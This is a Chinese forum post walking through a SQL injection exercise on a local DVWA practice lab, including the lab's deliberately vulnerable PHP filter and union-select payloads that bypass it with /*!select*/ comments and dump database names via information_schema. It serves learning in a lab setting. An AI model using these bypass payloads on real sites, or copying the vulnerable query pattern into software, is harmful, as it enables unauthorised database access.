WooYun-2014-52257 MySQL注入学习

 
1412 2
小菜鸟一枚 2022-3-3 11:37:57 | 显示全部楼层 |阅读模式
1.环境准备
下载PHPstudy,下载DVWA靶场,将靶场放到网站根目录下。





2.在phpstudy中启动服务器和数据库。



3.开干,输入地址访问靶场,找到sql注入练习,这里也可以看到对应的乌云漏洞编号。



4.测试一下有没有漏洞,常见的测试方法有,单引号,双引号等等,这里我输入单引号提交,可以看到数据库报错,并且报错信息直接返回,这就给了我注入的条件,现在多数网站出错会直接重定位到错误页面,不显示错误信息,这个时候我们就没这么方便判断了。


  1. <font face="宋体" size="3">You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1</font>
复制代码


5.既然是单引号,想办法让它闭合就可以了,可以用--加空格注释,也可以#号注释:
  1. <font face="宋体" size="3">100' order by 2 %23</font>
复制代码
发现报错了,不能枚举字段,试试去掉单引号直接order by,可以执行,说明应该不是过滤order by关键字,试试order by 3发现报错,说明只有两个字段。
  1. <font face="宋体" size="3">1 order by 2

  2. ID: 1 order by 2
  3. First name: admin
  4. Surname: admin</font>
复制代码


试试select,发现都有防护,不能执行select,猜测对select进行了过滤
  1. <font face="宋体" size="3">1 and select 1,2
  2. 1 or select 1,2
  3. 1 union  select 1,2

  4. SQLi detected!</font>
复制代码



尝试改变大小写注入,然而还是提示被挡住了。
  1. <font face="宋体" size="3">1 UniOn SeLeCt 1,2</font>
复制代码



6.没思路了,看看源码怎么防护的:
  1. <font face="宋体" size="3">WooYun-2014-52257 Source
  2. <?php   

  3. if(isset($_GET['Submit'])){
  4.    
  5.     // Retrieve data
  6.    
  7.     $id = $_GET['id'];
  8.     $id = trim(strtolower($id));

  9.     $test = _do_query_safe($id);

  10.     if($test != 1)
  11.     {
  12.         die('SQLi detected!');
  13.     }

  14.     $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
  15.     $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

  16.     $num = mysql_numrows($result);

  17.     $i = 0;

  18.     while ($i < $num) {

  19.         $first = mysql_result($result,$i,"first_name");
  20.         $last = mysql_result($result,$i,"last_name");
  21.         
  22.         echo '<pre>';
  23.         echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
  24.         echo '</pre>';

  25.         $i++;
  26.     }
  27. }

  28.     function _do_query_safe($sql) {

  29.         $sql = preg_replace('/\/\*.*\*\//','',$sql);   
  30.         if(strstr($sql,"select"))
  31.         {
  32.             return -1;
  33.         }
  34.         
  35.         return 1;   
  36.     }

  37. ?>

  38. </font>
复制代码
可以看到这里过滤了select,百度一下strstr函数,这个函数区分大小写,为什么我改变大小写还是绕不过去呢?
strstr() 函数搜索字符串在另一字符串中的第一次出现。

注释:该函数是二进制安全的。

注释:该函数对大小写敏感。如需进行不区分大小写的搜索,请使用 stristr() 函数。
那么问题必然是出现在上面这个函数这里了,preg_replace('/\/\*.*\*\//','',$sql);


7.去百度上学习一下正则表达式的阅读:
/表示开始正则,先去掉开头和结尾\/\*.*\*\/,去掉转义符,/*...*/,匹配注释???


到这里可以看出程序的逻辑了,先正则过滤注释,然后匹配select,那我就可以构造/*!select*/绕过。


  1. <font face="宋体" size="3">-1 union  /*!select*/  database(),user()

  2. ID: -1 union  /*!select*/  database(),user()
  3. First name: dvwa
  4. Surname: root@localhost</font>
复制代码


然后爆出表名,这里加了个hex不然会爆错,用在线16进制转换工具就可以了。
  1. <font face="宋体" size="3">-1 union/**/select/**/1,group_concat(hex(schema_name)) from information_schema.schemata
  2. First name: 1
  3. Surname: 696E666F726D6174696F6E5F736368656D61,64767761,6D7973716C,706572666F726D616E63655F736368656D61</font>
复制代码


剩下的爆表名,数据过程参考我的这篇帖子:Less-1 GET型基于错误的单引号字符型注入 - 软件交流 - 中国红客联盟 - Powered by Discuz! (chinesehongker.com)

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2026 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行